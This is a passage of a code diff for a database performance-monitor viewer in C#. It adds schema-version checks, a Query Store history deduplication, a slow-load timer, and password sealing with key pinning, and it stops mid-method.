hasDeadlockRateBandKnobs = false, bool hasOversizedPlanBacklog = false, bool hasPgAlertCountKnobs = false, bool hasFleetSweepState = false, bool hasFleetSweepCadenceKnobs = false, bool hasCollectorScheduleDatabases = false, bool hasSelfDiskWarnGbFloor = false, bool hasDeltaFamilyIntervalColumns = false, bool hasDeltaFamilyIntervalCompletion = false, bool hasPgLogEvents = false, bool hasPgLogEventMetrics = false, bool hasNotificationRoutes = false, bool hasPerfmonCounterType = false, bool hasPgNumbackendsAndSampledMs = false, bool hasTimeHonesty = false, bool hasLrqExclusionKnob = false, bool hasPgDatabaseSizeStatsAndHostMemory = false, bool hasQsCaptureModeRouteKnobToast = false, bool hasPgServerConfigDatabaseRoleOverrides = false, bool hasPostmasterStartTime = false, bool hasCheckpointsTimed = false, bool hasCollectionCaveats = false, bool hasIndexObjectStatsServerTimeIndex = false, bool hasQueryStoreIntervalLatest = false, bool hasRawChunkIntervalRungHistory = false, bool hasQueryStoreIntervalWide = false, bool hasManagedConfVerdicts = false, bool hasComposeTimeoutSixty = false, bool hasReadLatency = false, bool hasHotLivenessTouch = false, bool hasCollectionLogWatermarkAndJobHistoryIndexes = false, bool hasAgGroupId = false, bool hasCaggGroupIndexDrop = false, bool hasIntervalFirstExecIndexes = false, bool hasIntervalWideFirstExecIndex = false, bool hasQueryStoreIntervalEnd = false, bool hasCheckpointLongestSync = false, bool hasMuteRuleServerId = false, bool hasInstallId = false, bool hasInstallIdTableOid = false, bool hasCollectorRunAt = false, bool hasQueryStoreTopDaily = false, bool hasSlowReads = false, bool hasStoreStatementHistory = false, bool hasQueryStatsHourLedger = false, bool hasPasswordKey = false, bool hasPagerDutyAutoResolve = false, bool hasLegacyPinCandidates = false, bool hasPlanRegressionDaily = false, bool hasAwsRole = false, bool hasPgIoStatsHourly = false, bool hasQueryStoreIntervalWidePartitioned = false, bool hasQueryStoreIntervalLatestPartitioned = false, bool hasQueryStoreComposeStamp = false)
     {
         /* V71 (the PostgreSQL blocking-edges rung): a table-existence sentinel and now the newest-first arm.
            A collector table would ordinarily get no arm at all — see the V63-V69 note below — but the TOP
@@ -1291,6 +1373,152 @@ than falling through to the rung below and showing a spurious upgrade banner on
            The WPF viewer runs no analysis, so no viewer read names any of the six rollups or their
            indexes; this arm exists so the version banner stays truthful, which is the only effect the rung
            has on the viewer. Named only in the probe line, not this prose, per the V71 finding. */
+        /* V172 (#5571): the latest Query Store interval table is partitioned by day. RELKIND sentinel (the table has existed since V143,
+           so existence cannot separate the rungs), newest-first, and the TOP rung, so a fully-migrated store maps to EXACTLY
+           StorageVersion.SchemaVersion rather than falling through to 171 and showing a spurious upgrade banner on a store that is
+           current. Named only in the probe line, not this prose, per the V71 finding. */
+        /* V173 (#5582): the exact stamp-grain rollup of the wide Query Store interval table. TABLE-existence sentinel (the hours table),
+           newest-first, and the TOP rung, so a fully-migrated store maps to EXACTLY StorageVersion.SchemaVersion rather than falling
+           through to 172 and showing a spurious upgrade banner on a store that is current. The WPF viewer runs no compose read, so no
+           viewer read names the new tables; this arm exists so the version banner stays truthful. Named only in the probe line, not this
+           prose, per the V71 finding. */
+        if (hasQueryStoreComposeStamp)
+        {
+            return 173;
+        }
+        if (hasQueryStoreIntervalLatestPartitioned)
+        {
+            return 172;
+        }
+        /* V171 (#5571): the wide Query Store interval table is partitioned by day. RELKIND sentinel, as V172's. */
+        if (hasQueryStoreIntervalWidePartitioned)
+        {
+            return 171;
+        }
+        /* V170 (#5495): the hourly rollup of the differenced PostgreSQL I/O counters. TABLE-existence sentinel (the state table), newest-first,
+           and the TOP rung, so a fully-migrated store maps to EXACTLY StorageVersion.SchemaVersion rather than falling through to 169
+           and showing a spurious upgrade banner on a store that is current. The viewer's own I/O read uses the rollup only after its
+           count guard passes and otherwise reads raw rows. Named only in the probe line, not this prose, per the V71 finding. */
+        if (hasPgIoStatsHourly)
+        {
+            return 170;
+        }
+        /* V169: the per-server AWS role on config_monitored_servers: which IAM role Darling assumes to reach an
+           RDS or Aurora target, with an optional external ID. COLUMN-existence sentinel (the table has existed
+           since V2, so table existence cannot separate the rungs), newest-first, and the TOP rung, so a
+           fully-migrated store maps to EXACTLY StorageVersion.SchemaVersion rather than falling through to 168
+           and showing a spurious upgrade banner on a store that is current. The column is named only in the
+           probe line, not this prose, per the V71 finding. */
+        if (hasAwsRole)
+        {
+            return 169;
+        }
+
+        /* V168 (#5448): the per-day plan totals for PLAN_REGRESSION's closed days, and no longer the top rung now
+           that V169 has landed above it. The viewer reads nothing from the tables yet, so this arm exists so that a store
+           that stopped here does not fall through to the rung below and show a spurious upgrade banner. Named only in the probe line, not this prose, per the V71 finding. */
+        if (hasPlanRegressionDaily)
+        {
+            return 168;
+        }
+
+        /* V166: the PagerDuty auto-resolve opt-in on config_notification — when set, the closing edge of an
+           edge-type alert pair (a connection recovery, a replica reconnect) is delivered as a PagerDuty
+           resolve on the SAME dedup_key the firing edge's trigger opened, closing the incident; unset (the
+           default) the closing edge is an info-severity trigger and the incident stays open, so the tool
+           never auto-resolves a third-party incident unasked. COLUMN-existence sentinel (the table has
+           existed since V17, so table existence cannot separate the rungs), newest-first, and no longer the
+           top rung now that V167 has landed above it; it keeps its own arm so a store that stopped here
+           does not fall through to 165 and show a spurious upgrade banner.
+
+           The gate earns its place beyond the standing invariant: the service's notification read now names
+           the column, so a viewer pointed below this rung would throw a raw 42703 when the Settings window
+           prefills the PagerDuty section. The column is named only in the probe line, not this prose, per
+           the V71 finding: the coverage ratchet strips information_schema lines but cannot strip a comment. */
+        /* V167 (#5456): the table that records which old-format saved passwords were present at the upgrade, and no longer the
+           top rung now that V168 and V169 have landed above it; it keeps its own arm so a store that stopped here does not fall
+           through to the rung below and show a spurious upgrade banner. No viewer read names it; this
+           arm exists so the version banner stays truthful. Named only in the probe line, not this prose, per the V71
+           finding. */
+        if (hasLegacyPinCandidates)
+        {
+            return 167;
+        }
+
+        if (hasPagerDutyAutoResolve)
+        {
+            return 166;
+        }
+
+        /* V165 (#5366): the tables that publish the service's password key, and no longer the top rung now that V166 has
+           landed above it; it still gets its own arm so a store that stopped here does not fall through to the rung below and
+           show a spurious upgrade banner. The viewer's read of the published key goes through the
+           PasswordKey partial. Named only in the probe line, not this prose, per the V71 finding. */
+        if (hasPasswordKey)
+        {
+            return 165;
+        }
+
+        /* V164 (#4605): the hourly row-count ledger of the query_stats table, and no longer the top rung now that V165 has
+           landed above it. No viewer read names it; this arm exists so the version banner stays truthful. Named only in
+           the probe line, not this prose, per the V71 finding. */
+        if (hasQueryStatsHourLedger)
+        {
+            return 164;
+        }
+
+        /* V163 (#5097): the store's statement history, and no longer the top rung now that V164 has landed above it. No
+           viewer read names it; this arm exists so the version banner stays truthful. Named only in the probe line, not
+           this prose, per the V71 finding. */
+        if (hasStoreStatementHistory)
+        {
+            return 163;
+        }
+
+        /* V162 (#5097): the slow-read record, and no longer the top rung now that V163 has landed above it. No viewer
+           read names it; this arm exists so the version banner stays truthful. Named only in the probe line, not this
+           prose, per the V71 finding. */
+        if (hasSlowReads)
+        {
+            return 162;
+        }
+
+        /* V161 (#5094): the daily summary tables for the Query Store top read, and no longer the top rung now that V162
+           has landed above it. No viewer read names the tables yet; this arm exists so the version banner stays
+           truthful. Named only in the probe line, not this prose, per the V71 finding. */
+        if (hasQueryStoreTopDaily)
+        {
+            return 161;
+        }
+
+        /* V160 (#4938): a collector's optional run time, and no longer the top rung now that V161 has landed above it, so a store that reaches exactly V160 falls through
+           to here rather than to the rung below. The schedule window reads and writes it, so a store that maps below
+           this arm is refused at connect, before the window can open. Named only in the probe line, not this prose, per
+           the V71 finding. */
+        if (hasCollectorRunAt)
+        {
+            return 160;
+        }
+
+        /* V159 (#4961): the install id table's own OID, and no longer the top rung now that V160 has landed above it, so
+           a store that reaches exactly V159 falls through to here rather than to the rung below. No viewer read names the
+           column (the readers of the row never select it, so one on a store still at the rung below keeps working); this
+           arm exists so the version banner stays truthful. Named only in the probe line, not this prose, per the V71
+           finding. */
+        if (hasInstallIdTableOid)
+        {
+            return 159;
+        }
+
+        /* V158 (#4961): the install id's one-row store table, and no longer the top rung now that V159 has landed above
+           it, so a store that reaches exactly V158 falls through to here rather than to the rung below. This arm exists
+           so the version banner stays truthful and a viewer that reads the row is never pointed at a store without it.
+           Named only in the probe line, not this prose, per the V71 finding. */
+        if (hasInstallId)
+        {
+            return 158;
+        }
+
         /* V157: a mute rule's optional store server id, and now the TOP rung, so a fully-migrated store maps to
            EXACTLY StorageVersion.SchemaVersion rather than falling through to the rung below and showing a spurious
            upgrade banner on a store that is current. Named only in the probe line, not this prose, per the V71 finding. */
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataStartNote.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataStartNote.cs
new file mode 100644
index 0000000000..366c5b3b8c
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataStartNote.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Windows;
+using System.Windows.Controls;
+using System.Windows.Media;
+using System.Windows.Media.Media3D;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Feeds the time range picker's "Data starts ..." note from a "Showing since" banner site (#5562 R7). Every banner on the
+/// server tab, and Job History's, goes through <see cref="ViewerServerTab.UpdateTruncationBanner"/> (the event surfaces through
+/// <see cref="ViewerServerTab.ShowEventDataStartAsync"/>, which ends in it), so that one method hands its floor here: the answer
+/// of the data-start probe the site already awaited, with no query of its own. The floor reaches the picker of the tab the
+/// banner sits in, and only while the banner is on screen: the content of a tab that is not selected has no parent in the
+/// visual tree, so a banner of a background tab never moves the note of the tab in front.
+/// </summary>
+internal static class ViewerDataStartNote
+{
+    /// <summary>Hands <paramref name="floor"/> to the picker of the tab that holds <paramref name="banner"/>, if the banner is on
+    /// screen in one. A banner outside any tab (a test's bare control, a detached tab) feeds nothing.</summary>
+    internal static void Feed(DependencyObject banner, DateTime? floor)
+    {
+        for (var node = ParentOf(banner); node is not null; node = ParentOf(node))
+        {
+            switch (node)
+            {
+                case ViewerServerTab serverTab:
+                    serverTab.RecordDataStart(floor);
+                    return;
+                case JobHistoryTab jobHistory:
+                    jobHistory.RecordDataStart(floor);
+                    return;
+            }
+        }
+    }
+
+    /// <summary>The first ancestor of <paramref name="start"/> that is a <typeparamref name="T"/>, by the visual tree (the logical
+    /// tree for a node that is not a visual), or null. The walk <see cref="Feed"/> makes, generic so a test can run it on plain
+    /// panels.</summary>
+    internal static T? FindAncestor<T>(DependencyObject start) where T : DependencyObject
+    {
+        for (var node = ParentOf(start); node is not null; node = ParentOf(node))
+        {
+            if (node is T found)
+            {
+                return found;
+            }
+        }
+
+        return null;
+    }
+
+    /* The visual parent, so the content of a tab that is not selected (not connected to the visual tree) ends the walk: its logical
+       parent is its TabItem, which would feed a background tab's floor to the tab in front. */
+    private static DependencyObject? ParentOf(DependencyObject node) =>
+        node is Visual or Visual3D ? VisualTreeHelper.GetParent(node) : LogicalTreeHelper.GetParent(node);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs
index 17dcabb4ec..1b6e89fb9e 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerHistoryRows.cs
@@ -7,6 +7,8 @@
  */
 
 using System;
+using System.Collections.Generic;
+using System.Linq;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -33,6 +35,12 @@ internal static class HistoryTime
     /// <summary>Formats a naive-UTC collection timestamp in the current display mode (Server / Local / UTC).</summary>
     public static string CollectionLocal(DateTime collectionTimeUtc)
         => ViewerTimeHelper.FormatForDisplay(collectionTimeUtc, "yyyy-MM-dd HH:mm:ss");
+
+    /// <summary>#4966: the figure a newest-snapshot summary strip shows for when its snapshot was collected: the
+    /// <see cref="CollectionLocal"/> text, or <paramref name="emptyText"/> (the strip's own no-value marker) when
+    /// there is no snapshot, so an empty strip names no time. The twin of Lite's <c>SnapshotCollectedText</c>.</summary>
+    public static string SnapshotCollected(DateTime? collectionTimeUtc, string emptyText)
+        => collectionTimeUtc.HasValue ? CollectionLocal(collectionTimeUtc.Value) : emptyText;
 }
 
 /// <summary>One collected query_stats snapshot for a single (database, query_hash) — Lite's
@@ -228,8 +236,49 @@ public sealed class ViewerQueryStoreHistoryRow
     public string QueryHash { get; set; } = "";
     public string QueryPlanHash { get; set; } = "";
 
+    // The rest of the interval identity, beside PlanId / FirstExecutionTime / ExecutionTypeDesc above (#5306).
+    // Not shown in the grid: LatestPerInterval keys on them. NULL on rows collected before the columns existed
+    // (runtime_stats_interval_id, #1841 tier 2) and, for replica_role, off an availability group.
+    public long? RuntimeStatsIntervalId { get; set; }
+    public string? ReplicaRole { get; set; }
+
     public double TotalDurationMs => ExecutionCount * AvgDurationMs;
     public double TotalCpuMs => ExecutionCount * AvgCpuTimeMs;
+
+    /// <summary>
+    /// #5306: the newest snapshot of each Query Store interval among <paramref name="rows"/> — Lite's
+    /// <c>QueryStoreHistoryRow.LatestPerInterval</c>.
+    ///
+    /// <para>The history grid lists EVERY stored snapshot on purpose (see <c>ViewerDataService.QueryStoreHistorySql</c>),
+    /// and query_store_stats rows are cumulative per interval: an interval the collector fetched N times is N rows with
+    /// a growing execution_count. Anything that ADDS those rows up counts the interval about N times, so a total takes
+    /// this first. The input is not changed: the window binds the same list to its grid.</para>
+    ///
+    /// <para>The interval identity and the "latest" order are the aggregate reads' in ViewerDataService (#1841, #1907).
+    /// The key is plan_id, runtime_stats_interval_id, first_execution_time, execution_type_desc and replica_role; the
+    /// survivor is the greatest collection_time, then the greatest execution_count (the #1907 tie-break, which picks
+    /// the flushed slice of an interval stored twice at one collection time). database_name and query_id are in those
+    /// reads' key too and are constant here, because the history read is scoped to one of each. A NULL part of the key
+    /// matches another NULL, as in the aggregate reads' partitioning, which is also how the rows collected before the
+    /// id was stored keep the first_execution_time proxy.</para>
+    /// </summary>
+    public static IReadOnlyList<ViewerQueryStoreHistoryRow> LatestPerInterval(IEnumerable<ViewerQueryStoreHistoryRow> rows) =>
+        rows
+            .GroupBy(r => (r.PlanId, r.RuntimeStatsIntervalId, r.FirstExecutionTime, r.ExecutionTypeDesc, r.ReplicaRole))
+            .Select(interval => interval
+                .OrderByDescending(r => r.CollectionTime)
+                .ThenByDescending(r => r.ExecutionCount)
+                .First())
+            .ToList();
+
+    /// <summary>
+    /// #5306: the executions of the queries <paramref name="rows"/> hold, counting each interval once at its latest
+    /// snapshot (<see cref="LatestPerInterval"/>). The history window's summary line shows this as Total Executions;
+    /// adding <see cref="ExecutionCount"/> up over the grid's rows counted an interval collected N times about N times.
+    /// </summary>
+    public static long TotalExecutions(IEnumerable<ViewerQueryStoreHistoryRow> rows) =>
+        LatestPerInterval(rows).Sum(r => r.ExecutionCount);
+
     public string CollectionTimeLocal => HistoryTime.CollectionLocal(CollectionTime);
     /* query_store_stats, not query_stats: both stamps are naive UTC (see the file header), so they take
        the same conversion CollectionTime above takes rather than the server-clock one the two DMV history
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerLoadTimer.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerLoadTimer.cs
new file mode 100644
index 0000000000..19cb735483
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerLoadTimer.cs
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>
+/// Walk finding D15: times one inner-tab load by phase, so a slow tab leaves one log line saying where the time went
+/// (the store reads, in the order they finished, against the time left over once the last one was in: the client's
+/// shaping and binding) instead of a bare "it took 20 seconds". A load that finishes inside
+/// <see cref="SlowLoadThresholdMs"/> logs nothing.
+///
+/// <para>Phases may overlap (the grid read, the slicer read and the data-start probe run side by side), so each one is
+/// timed from the moment it is handed to <see cref="Track{T}"/> to the moment it completes, and the client share is
+/// whatever is left after the LAST phase completed, not a sum.</para>
+/// </summary>
+internal sealed class ViewerLoadTimer
+{
+    /// <summary>A load slower than this is logged. The walk called anything over three seconds slow.</summary>
+    internal const int SlowLoadThresholdMs = 3000;
+
+    private readonly Stopwatch _total = Stopwatch.StartNew();
+    private readonly List<(string Phase, long StartedMs, long EndedMs)> _phases = new();
+    private readonly object _gate = new();
+
+    /// <summary>What the load is: set by a loader that knows its sub-tab ("Queries > Top Queries by Duration").</summary>
+    internal string Surface { get; set; } = "";
+
+    /// <summary>Times <paramref name="task"/> (already started) as <paramref name="phase"/> and hands it back unchanged, so a
+    /// caller awaits it exactly as before. A faulted or cancelled task is still recorded; its own awaiter sees the error.</summary>
+    internal Task<T> Track<T>(string phase, Task<T> task)
+    {
+        _ = Watch(phase, _total.ElapsedMilliseconds, task);
+        return task;
+    }
+
+    /// <summary><see cref="Track{T}"/> for a task with no result.</summary>
+    internal Task Track(string phase, Task task)
+    {
+        _ = Watch(phase, _total.ElapsedMilliseconds, task);
+        return task;
+    }
+
+    /// <summary>Records <paramref name="phase"/> when <paramref name="task"/> ends, however it ends. Written as an await rather than a
+    /// <c>ContinueWith</c>, which the Viewer's concurrency census keeps out of the project (a continuation is a fan-out the width
+    /// pin does not model). A faulted task's error is its awaiter's to see, so it is swallowed here.</summary>
+    private async Task Watch(string phase, long startedMs, Task task)
+    {
+        try
+        {
+            await task.ConfigureAwait(false);
+        }
+        catch (Exception)
+        {
+            /* The awaiter of the task sees the failure; this watcher only needs to know when it ended. */
+        }
+
+        Record(phase, startedMs);
+    }
+
+    private void Record(string phase, long startedMs)
+    {
+        var ended = _total.ElapsedMilliseconds;
+        lock (_gate)
+        {
+            _phases.Add((phase, startedMs, ended));
+        }
+    }
+
+    /// <summary>The log line for a load of <paramref name="totalMs"/>, or null when it was not slow. Pure, so a test reads the text.</summary>
+    internal static string? Describe(string surface, long totalMs, IReadOnlyList<(string Phase, long StartedMs, long EndedMs)> phases)
+    {
+        if (totalMs < SlowLoadThresholdMs)
+        {
+            return null;
+        }
+
+        var lastReadEnded = phases.Count == 0 ? 0 : phases.Max(p => p.EndedMs);
+        var clientMs = Math.Max(0, totalMs - lastReadEnded);
+        var split = phases.Count == 0
+            ? "no store phase timed"
+            : string.Join(", ", phases.OrderBy(p => p.EndedMs).Select(p => $"{p.Phase} {p.EndedMs - p.StartedMs} ms"));
+        return $"slow load: {surface} took {totalMs} ms: store reads [{split}], then {clientMs} ms of client work after the last read";
+    }
+
+    /// <summary>How many store reads this load has booked so far (a test reads it; the slow-load line is the product's read).</summary>
+    internal int PhaseCount
+    {
+        get
+        {
+            lock (_gate)
+            {
+                return _phases.Count;
+            }
+        }
+    }
+
+    /// <summary>Stops the clock and returns the slow-load line, or null when the load was quick.</summary>
+    internal string? Finish(string fallbackSurface)
+    {
+        _total.Stop();
+        lock (_gate)
+        {
+            return Describe(string.IsNullOrEmpty(Surface) ? fallbackSurface : Surface, _total.ElapsedMilliseconds, _phases.ToList());
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs
new file mode 100644
index 0000000000..1c780d6531
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs
@@ -0,0 +1,450 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+/// <summary>A password the viewer cannot save, with a sentence that says why and never carries the value.</summary>
+public sealed class ViewerPasswordRefusedException(string message) : Exception(message);
+
+/// <summary>
+/// Seals a server password to the service's published key, for the connection settings of one store row (#5366). The
+/// sealed text is readable only by the service, and only for those settings.
+/// </summary>
+public sealed partial class ViewerPasswordSealer(PasswordPublicKey key)
+{
+    private static readonly UTF8Encoding s_strictUtf8 = new(false, true);
+
+    /// <summary>The refusal for a password that is not valid text (a lone surrogate).</summary>
+    public const string PasswordCharactersText = "The password contains characters that cannot be stored.";
+
+    /// <summary>The refusal for a password longer than a sealed value can hold.</summary>
+    public const string PasswordTooLongText = "The password is longer than can be stored.";
+
+    /// <summary>The key id the passwords are sealed to.</summary>
+    public string KeyId => key.KeyId;
+
+    /// <summary>The refusal for a connection field that is not valid text, naming the field.</summary>
+    public static string FieldCharactersText(string field) => $"The {field} contains characters that cannot be stored.";
+
+    /// <summary>The connection settings of a row, mapped the one way every reader maps a stored row.</summary>
+    public static ServerConnectionIdentity IdentityOf(MonitoredServerRow row) =>
+        ServerConnectionIdentity.FromStoredColumns(
+            row.Host, row.Port, row.Engine, row.Database, row.ReadOnlyIntent, row.Auth, row.Username, row.EncryptMode,
+            row.TrustServerCertificate, row.MultiSubnetFailover);
+
+    /// <summary>The binding a row's password is sealed for.</summary>
+    public static PasswordBinding BindingOf(MonitoredServerRow row)
+    {
+        var identity = IdentityOf(row);
+        foreach (var (name, text) in new (string, string?)[]
+                 {
+                     ("server name", identity.Host), ("database name", identity.Database), ("user name", identity.Username),
+                     ("authentication", identity.Auth), ("encryption mode", identity.EncryptMode), ("engine", identity.Engine),
+                 })
+        {
+            if (!IsValidText(text))
+            {
+                throw new ViewerPasswordRefusedException(FieldCharactersText(name));
+            }
+        }
+
+        try
+        {
+            return PasswordBinding.ForServer(identity);
+        }
+        catch (ArgumentException)
+        {
+            throw new ViewerPasswordRefusedException(FieldCharactersText("connection settings"));
+        }
+    }
+
+    /// <summary>Seals <paramref name="plaintext"/> for <paramref name="row"/>'s connection settings. Throws
+    /// <see cref="ViewerPasswordRefusedException"/> when the password or a connection field is not valid text.</summary>
+    public string Seal(string plaintext, MonitoredServerRow row)
+    {
+        ArgumentNullException.ThrowIfNull(plaintext);
+        ArgumentNullException.ThrowIfNull(row);
+
+        var binding = BindingOf(row);
+        if (!IsValidText(plaintext))
+        {
+            throw new ViewerPasswordRefusedException(PasswordCharactersText);
+        }
+
+        try
+        {
+            return PasswordSeal.Seal(plaintext, key, binding);
+        }
+        catch (PasswordSealException)
+        {
+            throw new ViewerPasswordRefusedException(
+                s_strictUtf8.GetByteCount(plaintext) > PasswordSeal.MaxPlaintextBytes ? PasswordTooLongText : PasswordCharactersText);
+        }
+    }
+
+    /// <summary>Seals a webhook URL, routing key or header text for a webhook binding (<see cref="PasswordBinding.ForWebhook"/>).
+    /// Throws <see cref="ViewerPasswordRefusedException"/> when the text is not valid or is too long.</summary>
+    public string SealWebhook(string plaintext, PasswordBinding binding)
+    {
+        ArgumentNullException.ThrowIfNull(plaintext);
+        ArgumentNullException.ThrowIfNull(binding);
+        if (!string.Equals(binding.Purpose, PasswordBinding.WebhookPurpose, StringComparison.Ordinal))
+        {
+            throw new ArgumentException("A webhook value is sealed with a webhook binding.", nameof(binding));
+        }
+
+        if (!IsValidText(plaintext))
+        {
+            throw new ViewerPasswordRefusedException("The value contains characters that cannot be stored.");
+        }
+
+        try
+        {
+            return PasswordSeal.Seal(plaintext, key, binding);
+        }
+        catch (PasswordSealException)
+        {
+            throw new ViewerPasswordRefusedException(
+                s_strictUtf8.GetByteCount(plaintext) > PasswordSeal.MaxPlaintextBytes
+                    ? "The value is longer than can be stored."
+                    : "The value contains characters that cannot be stored.");
+        }
+        catch (ArgumentException)
+        {
+            throw new ViewerPasswordRefusedException("The value contains characters that cannot be stored.");
+        }
+    }
+
+    internal static bool IsValidText(string? text)
+    {
+        if (text is null)
+        {
+            return true;
+        }
+
+        try
+        {
+            _ = s_strictUtf8.GetByteCount(text);
+            return true;
+        }
+        catch (EncoderFallbackException)
+        {
+            return false;
+        }
+    }
+}
+
+/// <summary>
+/// Keeps the last sealed value of a dialog so a connection test and the save that follows it store the same text: the
+/// password is sealed once for its settings, and sealed again only when the password, the settings or the key change.
+/// Holds a hash of the password, never the password.
+/// </summary>
+public sealed class ViewerSealCache
+{
+    private string? _signature;
+    private string? _sealed;
+
+    public string GetOrSeal(ViewerPasswordSealer sealer, string plaintext, MonitoredServerRow row)
+    {
+        var binding = ViewerPasswordSealer.BindingOf(row);
+        /* Checked before the cache key: the key hashes the text as UTF-8, which turns a lone surrogate into the same bytes as
+           the replacement character, so a cached value must never answer for text that cannot be stored. */
+        if (!ViewerPasswordSealer.IsValidText(plaintext))
+        {
+            throw new ViewerPasswordRefusedException(ViewerPasswordSealer.PasswordCharactersText);
+        }
+
+        /* #5366: the settings part is the hash of the binding's own encoding for this key, which marks where each field
+           ends, so no two different settings share a cache key. */
+        var signature = Convert.ToHexString(SHA256.HashData(binding.EncodeAad(sealer.KeyId))) + "|"
+            + Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(plaintext)));
+        if (_signature == signature && _sealed is not null)
+        {
+            return _sealed;
+        }
+
+        var sealedText = sealer.Seal(plaintext, row);
+        _signature = signature;
+        _sealed = sealedText;
+        return sealedText;
+    }
+}
+
+/// <summary>What the viewer found when it asked for the key to seal with: a sealer, or the sentence that says why not.</summary>
+public sealed class ViewerSealKeyResult
+{
+    public ViewerPasswordSealer? Sealer { get; init; }
+
+    /// <summary>Why no password can be saved, or null when <see cref="Sealer"/> is set.</summary>
+    public string? Refusal { get; init; }
+
+    /// <summary>A sentence to show once, on the first connect to a store or when the saved keys could not be read.</summary>
+    public string? Notice { get; init; }
+}
+
+/// <summary>The published key weighed against the service state and the key this viewer saw before.</summary>
+public sealed record ViewerPasswordKeyDecision(
+    PasswordPublicKey? Key, string? Refusal, string? Notice, ViewerPasswordKeyChange? Change);
+
+/// <summary>A published key that differs from the saved one, with what the trust dialog shows.</summary>
+public sealed record ViewerPasswordKeyChange(
+    string SavedDisplay, string NewDisplay, PasswordPublicKey NewKey, string SavedFingerprint = "", string NewFingerprint = "");
+
+/// <summary>
+/// The viewer's read of the key it seals passwords with (#5366). A password is sealed only when the store publishes a
+/// current key whose id is the id of its own public part, the service reports its key as <c>ok</c>, and the key is the
+/// one this viewer saved for the store (or the operator trusted the new one).
+/// </summary>
+public static class ViewerPasswordKey
+{
+    public const string NoKeyText =
+        "Passwords cannot be saved: the Darling service has not published a password key for this store yet. Start the service, then try again.";
+
+    public const string InvalidKeyText =
+        "Passwords cannot be saved: the password key this store publishes is not valid.";
+
+    public const string NoStateText =
+        "Passwords cannot be saved: the Darling service has not reported the state of its password key yet.";
+
+    public const string ReadOnlyText = "Passwords cannot be saved from a read-only connection.";
+
+    /// <summary>#5366: the login connected but is not allowed to read the key tables (SQLSTATE 42501), which is not the
+    /// same as a read-only connection and has a different fix.</summary>
+    public const string NoKeyAccessText =
+        "This login cannot read the service's password key. Connect with the admin role, or run provision-roles.sql again on this store.";
+
+    public const string NoTablesText =
+        "Passwords cannot be saved: this store has no password key tables yet. Update or restart the Darling service.";
+
+    public const string PinsNotSavedText =
+        "The service's password key could not be saved on this computer, so passwords cannot be stored from here. "
+        + "Check that the Viewer can write to its settings folder.";
+
+    public const string UnreadablePinsText =
+        "The saved list of password keys could not be read, so this store's key was saved again.";
+
+    /// <summary>The store connection a saved key belongs to: host (lower case, trimmed), port (5432 when not given) and database.</summary>
+    public static string StoreIdentityOf(string connectionString)
+    {
+        try
+        {
+            var builder = new NpgsqlConnectionStringBuilder(connectionString);
+            var port = builder.Port > 0 ? builder.Port : 5432;
+            return $"{(builder.Host ?? "").Trim().ToLowerInvariant()}:{port}/{builder.Database ?? ""}";
+        }
+        catch (Exception ex) when (ex is ArgumentException or FormatException)
+        {
+            return "unknown";
+        }
+    }
+
+    /// <summary>The sentence shown once when a store's key is saved for the first time.</summary>
+    public static string FirstConnectNotice(string displayKeyId) =>
+        $"This store's password key is {displayKeyId}. It should match the 'Password key' line in the service log.";
+
+    /// <summary>The sentence a save of a password gives when the store's key is not the one saved for it.</summary>
+    public static string ChangedText(string savedDisplay, string newDisplay) =>
+        $"Passwords cannot be saved: this store's password key changed from {savedDisplay} to {newDisplay}. "
+        + "If the service's password key was reset on purpose, choose Trust the new key. "
+        + "If it was not, check it against the 'Password key' line in the service log before entering any passwords.";
+
+    /// <summary>
+    /// Weighs the published key and the service state, then the saved key for <paramref name="storeId"/>. With no saved
+    /// key the new one is saved and the first-connect sentence is returned as the notice. With a different saved key
+    /// nothing is saved: <see cref="ViewerPasswordKeyDecision.Change"/> says what to ask the operator.
+    /// </summary>
+    public static ViewerPasswordKeyDecision Evaluate(
+        PublishedPasswordKey? key, PasswordKeyServiceState? state, string storeId, ViewerPasswordKeyPins pins)
+    {
+        ArgumentNullException.ThrowIfNull(pins);
+
+        if (key is null)
+        {
+            return Refused(NoKeyText);
+        }
+
+        PasswordPublicKey publicKey;
+        try
+        {
+            if (!string.Equals(PasswordSeal.KeyIdFor(key.Spki), key.KeyId, StringComparison.Ordinal))
+            {
+                return Refused(InvalidKeyText);
+            }
+
+            publicKey = PasswordPublicKey.FromSpki(key.Spki);
+        }
+        catch (PasswordSealException)
+        {
